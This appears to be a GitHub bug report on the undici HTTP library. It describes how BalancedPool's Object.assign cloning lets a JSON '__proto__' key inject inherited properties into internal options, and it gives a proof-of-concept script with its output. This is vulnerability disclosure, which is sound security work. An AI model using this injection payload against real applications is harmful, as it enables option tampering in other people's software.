-
-
Notifications
You must be signed in to change notification settings - Fork 732
Description
Bug Description
this bug is found by nova ,which is a automatic tools from group of Song Wu, intern ,Zhejiang University ,BoWang independent researcher ,Xingwei Lin, Zhejiang University .
undici BalancedPool clones user-supplied options with Object.assign({}, this[kOptions]), allowing an attacker-controlled own proto property to modify the prototype of the cloned internal options object.
undici <= 7.22.0
BalancedPool stores user-supplied options in this[kOptions] and later clones them in balanced-pool.js using:
const pool = this[kFactory](upstreamOrigin, Object.assign({}, this[kOptions]))The issue is that this[kOptions] comes from attacker-controlled user input. If the provided options object contains an own enumerable proto property, then Object.assign({}, this[kOptions]) creates a new object whose prototype is changed during the assign operation.
As a result, the cloned internal options object passed into factory inherits attacker-controlled properties through its prototype chain.
In my PoC, this causes the cloned object to expose inherited properties such as:
- polluted = "YES"
- connections = 1
At the same time:
- hasOwnProperty('polluted') is false
- Object.getPrototypeOf(captured).polluted is "YES"
- {}.polluted is undefined
So based on current testing, this appears to be local prototype poisoning / inherited property injection on the cloned options object, rather than global Object.prototype pollution.
Steps To Reproduce:
- Create a file named testbug.js with the following content:
const { BalancedPool } = require('undici')
const { EventEmitter } = require('node:events')
let captured
const attackerOptions = JSON.parse(`
{
"__proto__": {
"polluted": "YES",
"connections": 1
}
}
`)
attackerOptions.factory = (origin, opts) => {
captured = opts
const stub = new EventEmitter()
stub.dispatch = () => true
stub.close = () => Promise.resolve()
stub.destroy = () => Promise.resolve()
stub.destroyed = false
stub.closed = false
return stub
}
new BalancedPool(['http://example.com/'], attackerOptions)
console.log('captured.polluted =', captured.polluted)
console.log('captured.connections =', captured.connections)
console.log('hasOwn polluted =', Object.prototype.hasOwnProperty.call(captured, 'polluted'))
console.log('proto.polluted =', Object.getPrototypeOf(captured).polluted)
console.log('global polluted =', {}.polluted)- Run the PoC with:
node testbug.js- Observe output similar to:
captured.polluted = YES
captured.connections = 1
hasOwn polluted = false
proto.polluted = YES
global polluted = undefined
The code path responsible is in balanced-pool.js:
const pool = this[kFactory](upstreamOrigin, Object.assign({}, this[kOptions]))Impact:
This issue does not appear to cause global Object.prototype pollution based on current testing. However, it does allow attacker-controlled inherited properties to appear on the cloned internal options object. If downstream logic trusts those option objects or reads properties without checking whether they are own properties, this may create opportunities for option confusion, inherited property injection, or unsafe behavior in code paths that consume those options. At minimum, this appears to be an unsafe cloning / hardening issue for attacker-controlled input.
Supporting Material/References:
Reproduction output:
captured.polluted = YES
captured.connections = 1
hasOwn polluted = false
proto.polluted = YES
global polluted = undefined
Suspected vulnerable code path in balanced-pool.js:
const pool = this[kFactory](upstreamOrigin, Object.assign({}, this[kOptions]))